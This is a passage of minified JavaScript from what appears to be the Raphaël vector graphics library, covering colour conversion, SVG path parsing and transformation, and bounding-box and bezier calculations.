touchcancel"[q](j),V={mousedown:"touchstart",mousemove:"touchmove",mouseup:"touchend"},O=I.prototype.toLowerCase,Y=Math,W=Y.max,G=Y.min,H=Y.abs,X=Y.pow,U=Y.PI,$="number",Z="string",Q="array",J="toString",K="fill",tt=Object.prototype.toString,et={},rt="push",it=e._ISURL=/^url\(['"]?(.+?)['"]?\)$/i,nt=/^\s*((#[a-f\d]{6})|(#[a-f\d]{3})|rgba?\(\s*([\d\.]+%?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+%?(?:\s*,\s*[\d\.]+%?)?)\s*\)|hsba?\(\s*([\d\.]+(?:deg|\xb0|%)?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+(?:%?\s*,\s*[\d\.]+)?)%?\s*\)|hsla?\(\s*([\d\.]+(?:deg|\xb0|%)?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+(?:%?\s*,\s*[\d\.]+)?)%?\s*\))\s*$/i,at={NaN:1,Infinity:1,"-Infinity":1},st=/^(?:cubic-)?bezier\(([^,]+),([^,]+),([^,]+),([^\)]+)\)/,ot=Y.round,lt="setAttribute",ht=parseFloat,ut=parseInt,ct=I.prototype.toUpperCase,ft=e._availableAttrs={"arrow-end":"none","arrow-start":"none",blur:0,"clip-rect":"0 0 1e9 1e9",cursor:"default",cx:0,cy:0,fill:"#fff","fill-opacity":1,font:'10px "Arial"',"font-family":'"Arial"',"font-size":"10","font-style":"normal","font-weight":400,gradient:0,height:0,href:"http://raphaeljs.com/","letter-spacing":0,opacity:1,path:"M0,0",r:0,rx:0,ry:0,src:"",stroke:"#000","stroke-dasharray":"","stroke-linecap":"butt","stroke-linejoin":"butt","stroke-miterlimit":0,"stroke-opacity":1,"stroke-width":1,target:"_blank","text-anchor":"middle",title:"Raphael",transform:"",width:0,x:0,y:0,"class":""},pt=e._availableAnimAttrs={blur:$,"clip-rect":"csv",cx:$,cy:$,fill:"colour","fill-opacity":$,"font-size":$,height:$,opacity:$,path:"path",r:$,rx:$,ry:$,stroke:"colour","stroke-opacity":$,"stroke-width":$,transform:"transform",width:$,x:$,y:$},dt=/[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]/g,gt=/[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*,[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*/,vt={hs:1,rg:1},xt=/,?([achlmqrstvxz]),?/gi,yt=/([achlmrqstvz])[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029,]*((-?\d*\.?\d*(?:e[\-+]?\d+)?[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*,?[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*)+)/gi,mt=/([rstm])[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029,]*((-?\d*\.?\d*(?:e[\-+]?\d+)?[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*,?[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*)+)/gi,bt=/(-?\d*\.?\d*(?:e[\-+]?\d+)?)[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*,?[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*/gi,_t=e._radial_gradient=/^r(?:\(([^,]+?)[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*,[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*([^\)]+?)\))?/,wt={},kt=function(t,e){return t.key-e.key},Bt=function(t,e){return ht(t)-ht(e)},Ct=function(){},St=function(t){return t},At=e._rectPath=function(t,e,r,i,n){return n?[["M",t+n,e],["l",r-2*n,0],["a",n,n,0,0,1,n,n],["l",0,i-2*n],["a",n,n,0,0,1,-n,n],["l",2*n-r,0],["a",n,n,0,0,1,-n,-n],["l",0,2*n-i],["a",n,n,0,0,1,n,-n],["z"]]:[["M",t,e],["l",r,0],["l",0,i],["l",-r,0],["z"]]},Tt=function(t,e,r,i){return null==i&&(i=r),[["M",t,e],["m",0,-i],["a",r,i,0,1,1,0,2*i],["a",r,i,0,1,1,0,-2*i],["z"]]},Et=e._getPath={path:function(t){return t.attr("path")},circle:function(t){var e=t.attrs;return Tt(e.cx,e.cy,e.r)},ellipse:function(t){var e=t.attrs;return Tt(e.cx,e.cy,e.rx,e.ry)},rect:function(t){var e=t.attrs;return At(e.x,e.y,e.width,e.height,e.r)},image:function(t){var e=t.attrs;return At(e.x,e.y,e.width,e.height)},text:function(t){var e=t._getBBox();return At(e.x,e.y,e.width,e.height)},set:function(t){var e=t._getBBox();return At(e.x,e.y,e.width,e.height)}},Mt=e.mapPath=function(t,e){if(!e)return t;var r,i,n,a,s,o,l;for(t=Qt(t),n=0,s=t.length;n<s;n++)for(l=t[n],a=1,o=l.length;a<o;a+=2)r=e.x(l[a],l[a+1]),i=e.y(l[a],l[a+1]),l[a]=r,l[a+1]=i;return t};if(e._g=T,e.type=T.win.SVGAngle||T.doc.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#BasicStructure","1.1")?"SVG":"VML","VML"==e.type){var Nt=T.doc.createElement("div"),Lt;if(Nt.innerHTML='<v:shape adj="1"/>',Lt=Nt.firstChild,Lt.style.behavior="url(#default#VML)",!Lt||"object"!=typeof Lt.adj)return e.type=R;Nt=null}e.svg=!(e.vml="VML"==e.type),e._Paper=M,e.fn=N=M.prototype=e.prototype,e._id=0,e.is=function(t,e){return e=O.call(e),"finite"==e?!at[A](+t):"array"==e?t instanceof Array:"null"==e&&null===t||e==typeof t&&null!==t||"object"==e&&t===Object(t)||"array"==e&&Array.isArray&&Array.isArray(t)||tt.call(t).slice(8,-1).toLowerCase()==e},e.angle=function(t,r,i,n,a,s){if(null==a){var o=t-i,l=r-n;return o||l?(180+180*Y.atan2(-l,-o)/U+360)%360:0}return e.angle(t,r,a,s)-e.angle(i,n,a,s)},e.rad=function(t){return t%360*U/180},e.deg=function(t){return Math.round(180*t/U%360*1e3)/1e3},e.snapTo=function(t,r,i){if(i=e.is(i,"finite")?i:10,e.is(t,Q)){for(var n=t.length;n--;)if(H(t[n]-r)<=i)return t[n]}else{t=+t;var a=r%t;if(a<i)return r-a;if(a>t-i)return r-a+t}return r};var zt=e.createUUID=function(t,e){return function(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(t,e).toUpperCase()}}(/[xy]/g,function(t){var e=16*Y.random()|0,r="x"==t?e:3&e|8;return r.toString(16)});e.setWindow=function(r){t("raphael.setWindow",e,T.win,r),T.win=r,T.doc=T.win.document,e._engine.initWin&&e._engine.initWin(T.win)};var Pt=function(t){if(e.vml){var r=/^\s+|\s+$/g,i;try{var a=new ActiveXObject("htmlfile");a.write("<body>"),a.close(),i=a.body}catch(s){i=createPopup().document.body}var o=i.createTextRange();Pt=n(function(t){try{i.style.color=I(t).replace(r,R);var e=o.queryCommandValue("ForeColor");return e=(255&e)<<16|65280&e|(16711680&e)>>>16,"#"+("000000"+e.toString(16)).slice(-6)}catch(n){return"none"}})}else{var l=T.doc.createElement("i");l.title="Raphaël Colour Picker",l.style.display="none",T.doc.body.appendChild(l),Pt=n(function(t){return l.style.color=t,T.doc.defaultView.getComputedStyle(l,R).getPropertyValue("color")})}return Pt(t)},Ft=function(){return"hsb("+[this.h,this.s,this.b]+")"},Rt=function(){return"hsl("+[this.h,this.s,this.l]+")"},jt=function(){return this.hex},It=function(t,r,i){if(null==r&&e.is(t,"object")&&"r"in t&&"g"in t&&"b"in t&&(i=t.b,r=t.g,t=t.r),null==r&&e.is(t,Z)){var n=e.getRGB(t);t=n.r,r=n.g,i=n.b}return(t>1||r>1||i>1)&&(t/=255,r/=255,i/=255),[t,r,i]},qt=function(t,r,i,n){t*=255,r*=255,i*=255;var a={r:t,g:r,b:i,hex:e.rgb(t,r,i),toString:jt};return e.is(n,"finite")&&(a.opacity=n),a};e.color=function(t){var r;return e.is(t,"object")&&"h"in t&&"s"in t&&"b"in t?(r=e.hsb2rgb(t),t.r=r.r,t.g=r.g,t.b=r.b,t.hex=r.hex):e.is(t,"object")&&"h"in t&&"s"in t&&"l"in t?(r=e.hsl2rgb(t),t.r=r.r,t.g=r.g,t.b=r.b,t.hex=r.hex):(e.is(t,"string")&&(t=e.getRGB(t)),e.is(t,"object")&&"r"in t&&"g"in t&&"b"in t?(r=e.rgb2hsl(t),t.h=r.h,t.s=r.s,t.l=r.l,r=e.rgb2hsb(t),t.v=r.b):(t={hex:"none"},t.r=t.g=t.b=t.h=t.s=t.v=t.l=-1)),t.toString=jt,t},e.hsb2rgb=function(t,e,r,i){this.is(t,"object")&&"h"in t&&"s"in t&&"b"in t&&(r=t.b,e=t.s,i=t.o,t=t.h),t*=360;var n,a,s,o,l;return t=t%360/60,l=r*e,o=l*(1-H(t%2-1)),n=a=s=r-l,t=~~t,n+=[l,o,0,0,o,l][t],a+=[o,l,l,o,0,0][t],s+=[0,0,o,l,l,o][t],qt(n,a,s,i)},e.hsl2rgb=function(t,e,r,i){this.is(t,"object")&&"h"in t&&"s"in t&&"l"in t&&(r=t.l,e=t.s,t=t.h),(t>1||e>1||r>1)&&(t/=360,e/=100,r/=100),t*=360;var n,a,s,o,l;return t=t%360/60,l=2*e*(r<.5?r:1-r),o=l*(1-H(t%2-1)),n=a=s=r-l/2,t=~~t,n+=[l,o,0,0,o,l][t],a+=[o,l,l,o,0,0][t],s+=[0,0,o,l,l,o][t],qt(n,a,s,i)},e.rgb2hsb=function(t,e,r){r=It(t,e,r),t=r[0],e=r[1],r=r[2];var i,n,a,s;return a=W(t,e,r),s=a-G(t,e,r),i=0==s?null:a==t?(e-r)/s:a==e?(r-t)/s+2:(t-e)/s+4,i=(i+360)%6*60/360,n=0==s?0:s/a,{h:i,s:n,b:a,toString:Ft}},e.rgb2hsl=function(t,e,r){r=It(t,e,r),t=r[0],e=r[1],r=r[2];var i,n,a,s,o,l;return s=W(t,e,r),o=G(t,e,r),l=s-o,i=0==l?null:s==t?(e-r)/l:s==e?(r-t)/l+2:(t-e)/l+4,i=(i+360)%6*60/360,a=(s+o)/2,n=0==l?0:a<.5?l/(2*a):l/(2-2*a),{h:i,s:n,l:a,toString:Rt}},e._path2string=function(){return this.join(",").replace(xt,"$1")};var Dt=e._preload=function(t,e){var r=T.doc.createElement("img");r.style.cssText="position:absolute;left:-9999em;top:-9999em",r.onload=function(){e.call(this),this.onload=null,T.doc.body.removeChild(this)},r.onerror=function(){T.doc.body.removeChild(this)},T.doc.body.appendChild(r),r.src=t};e.getRGB=n(function(t){if(!t||(t=I(t)).indexOf("-")+1)return{r:-1,g:-1,b:-1,hex:"none",error:1,toString:a};if("none"==t)return{r:-1,g:-1,b:-1,hex:"none",toString:a};!(vt[A](t.toLowerCase().substring(0,2))||"#"==t.charAt())&&(t=Pt(t));var r,i,n,s,o,l,h,u=t.match(nt);return u?(u[2]&&(s=ut(u[2].substring(5),16),n=ut(u[2].substring(3,5),16),i=ut(u[2].substring(1,3),16)),u[3]&&(s=ut((l=u[3].charAt(3))+l,16),n=ut((l=u[3].charAt(2))+l,16),i=ut((l=u[3].charAt(1))+l,16)),u[4]&&(h=u[4][q](gt),i=ht(h[0]),"%"==h[0].slice(-1)&&(i*=2.55),n=ht(h[1]),"%"==h[1].slice(-1)&&(n*=2.55),s=ht(h[2]),"%"==h[2].slice(-1)&&(s*=2.55),"rgba"==u[1].toLowerCase().slice(0,4)&&(o=ht(h[3])),h[3]&&"%"==h[3].slice(-1)&&(o/=100)),u[5]?(h=u[5][q](gt),i=ht(h[0]),"%"==h[0].slice(-1)&&(i*=2.55),n=ht(h[1]),"%"==h[1].slice(-1)&&(n*=2.55),s=ht(h[2]),"%"==h[2].slice(-1)&&(s*=2.55),("deg"==h[0].slice(-3)||"°"==h[0].slice(-1))&&(i/=360),"hsba"==u[1].toLowerCase().slice(0,4)&&(o=ht(h[3])),h[3]&&"%"==h[3].slice(-1)&&(o/=100),e.hsb2rgb(i,n,s,o)):u[6]?(h=u[6][q](gt),i=ht(h[0]),"%"==h[0].slice(-1)&&(i*=2.55),n=ht(h[1]),"%"==h[1].slice(-1)&&(n*=2.55),s=ht(h[2]),"%"==h[2].slice(-1)&&(s*=2.55),("deg"==h[0].slice(-3)||"°"==h[0].slice(-1))&&(i/=360),"hsla"==u[1].toLowerCase().slice(0,4)&&(o=ht(h[3])),h[3]&&"%"==h[3].slice(-1)&&(o/=100),e.hsl2rgb(i,n,s,o)):(u={r:i,g:n,b:s,toString:a},u.hex="#"+(16777216|s|n<<8|i<<16).toString(16).slice(1),e.is(o,"finite")&&(u.opacity=o),u)):{r:-1,g:-1,b:-1,hex:"none",error:1,toString:a}},e),e.hsb=n(function(t,r,i){return e.hsb2rgb(t,r,i).hex}),e.hsl=n(function(t,r,i){return e.hsl2rgb(t,r,i).hex}),e.rgb=n(function(t,e,r){function i(t){return t+.5|0}return"#"+(16777216|i(r)|i(e)<<8|i(t)<<16).toString(16).slice(1)}),e.getColor=function(t){var e=this.getColor.start=this.getColor.start||{h:0,s:1,b:t||.75},r=this.hsb2rgb(e.h,e.s,e.b);return e.h+=.075,e.h>1&&(e.h=0,e.s-=.2,e.s<=0&&(this.getColor.start={h:0,s:1,b:e.b})),r.hex},e.getColor.reset=function(){delete this.start},e.parsePathString=function(t){if(!t)return null;var r=Vt(t);if(r.arr)return Yt(r.arr);var i={a:7,c:6,h:1,l:2,m:2,r:4,q:4,s:4,t:2,v:1,z:0},n=[];return e.is(t,Q)&&e.is(t[0],Q)&&(n=Yt(t)),n.length||I(t).replace(yt,function(t,e,r){var a=[],s=e.toLowerCase();if(r.replace(bt,function(t,e){e&&a.push(+e)}),"m"==s&&a.length>2&&(n.push([e][P](a.splice(0,2))),s="l",e="m"==e?"l":"L"),"r"==s)n.push([e][P](a));else for(;a.length>=i[s]&&(n.push([e][P](a.splice(0,i[s]))),i[s]););}),n.toString=e._path2string,r.arr=Yt(n),n},e.parseTransformString=n(function(t){if(!t)return null;var r={r:3,s:4,t:2,m:6},i=[];return e.is(t,Q)&&e.is(t[0],Q)&&(i=Yt(t)),i.length||I(t).replace(mt,function(t,e,r){var n=[],a=O.call(e);r.replace(bt,function(t,e){e&&n.push(+e)}),i.push([e][P](n))}),i.toString=e._path2string,i});var Vt=function(t){var e=Vt.ps=Vt.ps||{};return e[t]?e[t].sleep=100:e[t]={sleep:100},setTimeout(function(){for(var r in e)e[A](r)&&r!=t&&(e[r].sleep--,!e[r].sleep&&delete e[r])}),e[t]};e.findDotsAtSegment=function(t,e,r,i,n,a,s,o,l){var h=1-l,u=X(h,3),c=X(h,2),f=l*l,p=f*l,d=u*t+3*c*l*r+3*h*l*l*n+p*s,g=u*e+3*c*l*i+3*h*l*l*a+p*o,v=t+2*l*(r-t)+f*(n-2*r+t),x=e+2*l*(i-e)+f*(a-2*i+e),y=r+2*l*(n-r)+f*(s-2*n+r),m=i+2*l*(a-i)+f*(o-2*a+i),b=h*t+l*r,_=h*e+l*i,w=h*n+l*s,k=h*a+l*o,B=90-180*Y.atan2(v-y,x-m)/U;return(v>y||x<m)&&(B+=180),{x:d,y:g,m:{x:v,y:x},n:{x:y,y:m},start:{x:b,y:_},end:{x:w,y:k},alpha:B}},e.bezierBBox=function(t,r,i,n,a,s,o,l){e.is(t,"array")||(t=[t,r,i,n,a,s,o,l]);var h=Zt.apply(null,t);return{x:h.min.x,y:h.min.y,x2:h.max.x,y2:h.max.y,width:h.max.x-h.min.x,height:h.max.y-h.min.y}},e.isPointInsideBBox=function(t,e,r){return e>=t.x&&e<=t.x2&&r>=t.y&&r<=t.y2},e.isBBoxIntersect=function(t,r){var i=e.isPointInsideBBox;return i(r,t.x,t.y)||i(r,t.x2,t.y)||i(r,t.x,t.y2)||i(r,t.x2,t.y2)||i(t,r.x,r.y)||i(t,r.x2,r.y)||i(t,r.x,r.y2)||i(t,r.x2,r.y2)||(t.x<r.x2&&t.x>r.x||r.x<t.x2&&r.x>t.x)&&(t.y<r.y2&&t.y>r.y||r.y<t.y2&&r.y>t.y)},e.pathIntersection=function(t,e){return d(t,e)},e.pathIntersectionNumber=function(t,e){return d(t,e,1)},e.isPointInsidePath=function(t,r,i){var n=e.pathBBox(t);return e.isPointInsideBBox(n,r,i)&&d(t,[["M",r,i],["H",n.x2+10]],1)%2==1},e._removedFactory=function(e){return function(){t("raphael.log",null,"Raphaël: you are calling to method “"+e+"” of removed object",e)}};var Ot=e.pathBBox=function(t){var e=Vt(t);if(e.bbox)return r(e.bbox);if(!t)return{x:0,y:0,width:0,height:0,x2:0,y2:0};t=Qt(t);for(var i=0,n=0,a=[],s=[],o,l=0,h=t.length;l<h;l++)if(o=t[l],"M"==o[0])i=o[1],n=o[2],a.push(i),s.push(n);else{var u=Zt(i,n,o[1],o[2],o[3],o[4],o[5],o[6]);a=a[P](u.min.x,u.max.x),s=s[P](u.min.y,u.max.y),i=o[5],n=o[6]}var c=G[z](0,a),f=G[z](0,s),p=W[z](0,a),d=W[z](0,s),g=p-c,v=d-f,x={x:c,y:f,x2:p,y2:d,width:g,height:v,cx:c+g/2,cy:f+v/2};return e.bbox=r(x),x},Yt=function(t){var i=r(t);return i.toString=e._path2string,i},Wt=e._pathToRelative=function(t){var r=Vt(t);if(r.rel)return Yt(r.rel);e.is(t,Q)&&e.is(t&&t[0],Q)||(t=e.parsePathString(t));var i=[],n=0,a=0,s=0,o=0,l=0;"M"==t[0][0]&&(n=t[0][1],a=t[0][2],s=n,o=a,l++,i.push(["M",n,a]));for(var h=l,u=t.length;h<u;h++){var c=i[h]=[],f=t[h];if(f[0]!=O.call(f[0]))switch(c[0]=O.call(f[0]),c[0]){case"a":c[1]=f[1],c[2]=f[2],c[3]=f[3],c[4]=f[4],c[5]=f[5],c[6]=+(f[6]-n).toFixed(3),c[7]=+(f[7]-a).toFixed(3);break;case"v":c[1]=+(f[1]-a).toFixed(3);break;case"m":s=f[1],o=f[2];default:for(var p=1,d=f.length;p<d;p++)c[p]=+(f[p]-(p%2?n:a)).toFixed(3)}else{c=i[h]=[],"m"==f[0]&&(s=f[1]+n,o=f[2]+a);for(var g=0,v=f.length;g<v;g++)i[h][g]=f[g]}var x=i[h].length;switch(i[h][0]){case"z":n=s,a=o;break;case"h":n+=+i[h][x-1];break;case"v":a+=+i[h][x-1];break;default:n+=+i[h][x-2],a+=+i[h][x-1]}}return i.toString=e._path2string,r.rel=Yt(i),i},Gt=e._pathToAbsolute=function(t){var r=Vt(t);if(r.abs)return Yt(r.abs);if(e.is(t,Q)&&e.is(t&&t[0],Q)||(t=e.parsePathString(t)),!t||!t.length)return[["M",0,0]];var i=[],n=0,a=0,o=0,l=0,h=0;"M"==t[0][0]&&(n=+t[0][1],a=+t[0][2],o=n,l=a,h++,i[0]=["M",n,a]);for(var u=3==t.length&&"M"==t[0][0]&&"R"==t[1][0].toUpperCase()&&"Z"==t[2][0].toUpperCase(),c,f,p=h,d=t.length;p<d;p++){if(i.push(c=[]),f=t[p],f[0]!=ct.call(f[0]))switch(c[0]=ct.call(f[0]),c[0]){case"A":c[1]=f[1],c[2]=f[2],c[3]=f[3],c[4]=f[4],c[5]=f[5],c[6]=+(f[6]+n),c[7]=+(f[7]+a);break;case"V":c[1]=+f[1]+a;break;case"H":c[1]=+f[1]+n;break;case"R":for(var g=[n,a][P](f.slice(1)),v=2,x=g.length;v<x;v++)g[v]=+g[v]+n,g[++v]=+g[v]+a;i.pop(),i=i[P](s(g,u));break;case"M":o=+f[1]+n,l=+f[2]+a;default:for(v=1,x=f.length;v<x;v++)c[v]=+f[v]+(v%2?n:a)}else if("R"==f[0])g=[n,a][P](f.slice(1)),i.pop(),i=i[P](s(g,u)),c=["R"][P](f.slice(-2));else for(var y=0,m=f.length;y<m;y++)c[y]=f[y];switch(c[0]){case"Z":n=o,a=l;break;case"H":n=c[1];break;case"V":a=c[1];break;case"M":o=c[c.length-2],l=c[c.length-1];default:n=c[c.length-2],a=c[c.length-1]}}return i.toString=e._path2string,r.abs=Yt(i),i},Ht=function(t,e,r,i){return[t,e,r,i,r,i]},Xt=function(t,e,r,i,n,a){var s=1/3,o=2/3;return[s*t+o*r,s*e+o*i,s*n+o*r,s*a+o*i,n,a]},Ut=function(t,e,r,i,a,s,o,l,h,u){var c=120*U/180,f=U/180*(+a||0),p=[],d,g=n(function(t,e,r){var i=t*Y.cos(r)-e*Y.sin(r),n=t*Y.sin(r)+e*Y.cos(r);return{x:i,y:n}});if(u)S=u[0],A=u[1],B=u[2],C=u[3];else{d=g(t,e,-f),t=d.x,e=d.y,d=g(l,h,-f),l=d.x,h=d.y;var v=Y.cos(U/180*a),x=Y.sin(U/180*a),y=(t-l)/2,m=(e-h)/2,b=y*y/(r*r)+m*m/(i*i);b>1&&(b=Y.sqrt(b),r=b*r,i=b*i);var _=r*r,w=i*i,k=(s==o?-1:1)*Y.sqrt(H((_*w-_*m*m-w*y*y)/(_*m*m+w*y*y))),B=k*r*m/i+(t+l)/2,C=k*-i*y/r+(e+h)/2,S=Y.asin(((e-C)/i).toFixed(9)),A=Y.asin(((h-C)/i).toFixed(9));S=t<B?U-S:S,A=l<B?U-A:A,S<0&&(S=2*U+S),A<0&&(A=2*U+A),o&&S>A&&(S-=2*U),!o&&A>S&&(A-=2*U)}var T=A-S;if(H(T)>c){var E=A,M=l,N=h;A=S+c*(o&&A>S?1:-1),l=B+r*Y.cos(A),h=C+i*Y.sin(A),p=Ut(l,h,r,i,a,0,o,M,N,[A,E,B,C])}T=A-S;var L=Y.cos(S),z=Y.sin(S),F=Y.cos(A),R=Y.sin(A),j=Y.tan(T/4),I=4/3*r*j,D=4/3*i*j,V=[t,e],O=[t+I*z,e-D*L],W=[l+I*R,h-D*F],G=[l,h];if(O[0]=2*V[0]-O[0],O[1]=2*V[1]-O[1],u)return[O,W,G][P](p);p=[O,W,G][P](p).join()[q](",");for(var X=[],$=0,Z=p.length;$<Z;$++)X[$]=$%2?g(p[$-1],p[$],f).y:g(p[$],p[$+1],f).x;return X},$t=function(t,e,r,i,n,a,s,o,l){var h=1-l;return{x:X(h,3)*t+3*X(h,2)*l*r+3*h*l*l*n+X(l,3)*s,y:X(h,3)*e+3*X(h,2)*l*i+3*h*l*l*a+X(l,3)*o}},Zt=n(function(t,e,r,i,n,a,s,o){var l=n-2*r+t-(s-2*n+r),h=2*(r-t)-2*(n-r),u=t-r,c=(-h+Y.sqrt(h*h-4*l*u))/2/l,f=(-h-Y.sqrt(h*h-4*l*u))/2/l,p=[e,o],d=[t,s],g;return H(c)>"1e12"&&(c=.5),H(f)>"1e12"&&(f=.5),c>0&&c<1&&(g=$t(t,e,r,i,n,a,s,o,c),d.push(g.x),p.push(g.y)),f>0&&f<1&&(g=$t(t,e,r,i,n,a,s,o,f),d.push(g.x),p.push(g.y)),l=a-2*i+e-(o-2*a+i),h=2*(i-e)-2*(a-i),u=e-i,c=(-h+Y.sqrt(h*h-4*l*u))/2/l,f=(-h-Y.sqrt(h*h-4*l*u))/2/l,H(c)>"1e12"&&(c=.5),H(f)>"1e12"&&(f=.5),c>0&&c<1&&(g=$t(t,e,r,i,n,a,s,o,c),d.push(g.x),p.push(g.y)),f>0&&f<1&&(g=$t(t,e,r,i,n,a,s,o,f),d.push(g.x),p.push(g.y)),{min:{x:G[z](0,d),y:G[z](0,p)},max:{x:W[z](0,d),y:W[z](0,p)}}}),Qt=e._path2curve=n(function(t,e){var r=!e&&Vt(t);if(!e&&r.curve)return Yt(r.curve);for(var i=Gt(t),n=e&&Gt(e),a={x:0,y:0,bx:0,by:0,X:0,Y:0,qx:null,qy:null},s={x:0,y:0,bx:0,by:0,X:0,Y:0,qx:null,qy:null},o=(function(t,e,r){var i,n,a={T:1,Q:1};if(!t)return["C",e.x,e.y,e.x,e.y,e.x,e.y];switch(!(t[0]in a)&&(e.qx=e.qy=null),t[0]){case"M":e.X=t[1],e.Y=t[2];break;case"A":t=["C"][P](Ut[z](0,[e.x,e.y][P](t.slice(1))));break;case"S":"C"==r||"S"==r?(i=2*e.x-e.bx,n=2*e.y-e.by):(i=e.x,n=e.y),t=["C",i,n][P](t.slice(1));break;case"T":"Q"==r||"T"==r?(e.qx=2*e.x-e.qx,e.qy=2*e.y-e.qy):(e.qx=e.x,e.qy=e.y),t=["C"][P](Xt(e.x,e.y,e.qx,e.qy,t[1],t[2]));break;case"Q":e.qx=t[1],e.qy=t[2],t=["C"][P](Xt(e.x,e.y,t[1],t[2],t[3],t[4]));break;case"L":t=["C"][P](Ht(e.x,e.y,t[1],t[2]));break;case"H":t=["C"][P](Ht(e.x,e.y,t[1],e.y));break;case"V":t=["C"][P](Ht(e.x,e.y,e.x,t[1]));break;case"Z":t=["C"][P](Ht(e.x,e.y,e.X,e.Y))}return t}),l=function(t,e){if(t[e].length>7){t[e].shift();for(var r=t[e];r.length;)u[e]="A",n&&(c[e]="A"),t.splice(e++,0,["C"][P](r.splice(0,6)));t.splice(e,1),g=W(i.length,n&&n.length||0)}},h=function(t,e,r,a,s){t&&e&&"M"==t[s][0]&&"M"!=e[s][0]&&(e.splice(s,0,["M",a.x,a.y]),r.bx=0,r.by=0,r.x=t[s][1],r.y=t[s][2],g=W(i.length,n&&n.length||0))},u=[],c=[],f="",p="",d=0,g=W(i.length,n&&n.length||0);d<g;d++){i[d]&&(f=i[d][0]),"C"!=f&&(u[d]=f,d&&(p=u[d-1])),i[d]=o(i[d],a,p),"A"!=u[d]&&"C"==f&&(u[d]="C"),l(i,d),n&&(n[d]&&(f=n[d][0]),"C"!=f&&(c[d]=f,d&&(p=c[d-1])),n[d]=o(n[d],s,p),"A"!=c[d]&&"C"==f&&(c[d]="C"),l(n,d)),h(i,n,a,s,d),h(n,i,s,a,d);var v=i[d],x=n&&n[d],y=v.length,m=n&&x.length;a.x=v[y-2],a.y=v[y-1],a.bx=ht(v[y-4])||a.x,a.by=ht(v[y-3])||a.y,s.bx=n&&(ht(x[m-4])||s.x),s.by=n&&(ht(x[m-3])||s.y),s.x=n&&x[m-2],s.y=n&&x[m-1]}return n||(r.curve=Yt(i)),n?[i,n]:i},null,Yt),Jt=e._parseDots=n(function(t){for(var r=[],i=0,n=t.length;i<n;i++){var a={},s=t[i].match(/^([^:]*):?([\d\.]*)/);if(a.color=e.getRGB(s[1]),a.color.error)return null;a.opacity=a.color.opacity,a.color=a.color.hex,s[2]&&(a.offset=s[2]+"%"),r.push(a)}for(i=1,n=r.length-1;i<n;i++)if(!r[i].offset){for(var o=ht(r[i-1].offset||0),l=0,h=i+1;h<n;h++)if(r[h].offset){l=r[h].offset;break}l||(l=100,h=n),l=ht(l);for(var u=(l-o)/(h-i+1);i<h;i++)o+=u,r[i].offset=o+"%"}return r}),Kt=e._tear=function(t,e){t==e.top&&(e.top=t.prev),t==e.bottom&&(e.bottom=t.next),t.next&&(t.next.prev=t.prev),t.prev&&(t.prev.next=t.next)},te=e._tofront=function(t,e){e.top!==t&&(Kt(t,e),t.next=null,t.prev=e.top,e.top.next=t,e.top=t)},ee=e._toback=function(t,e){e.bottom!==t&&(Kt(t,e),t.next=e.bottom,t.prev=null,e.bottom.prev=t,e.bottom=t)},re=e._insertafter=function(t,e,r){Kt(t,r),e==r.top&&(r.top=t),e.next&&(e.next.prev=t),t.next=e.next,t.prev=e,e.next=t},ie=e._insertbefore=function(t,e,r){Kt(t,r),e==r.bottom&&(r.bottom=t),e.prev&&(e.prev.next=t),t.prev=e.prev,e.prev=t,t.next=e},ne=e.toMatrix=function(t,e){var r=Ot(t),i={_:{transform:R},getBBox:function(){return r}};return se(i,e),i.matrix},ae=e.transformPath=function(t,e){return Mt(t,ne(t,e))},se=e._extractTransform=function(t,r){if(null==r)return t._.transform;r=I(r).replace(/\.{3}|\u2026/g,t._.transform||R);var i=e.parseTransformString(r),n=0,a=0,s=0,o=1,l=1,h=t._,u=new g;if(h.transform=i||[],i)for(var c=0,f=i.length;c<f;c++){var 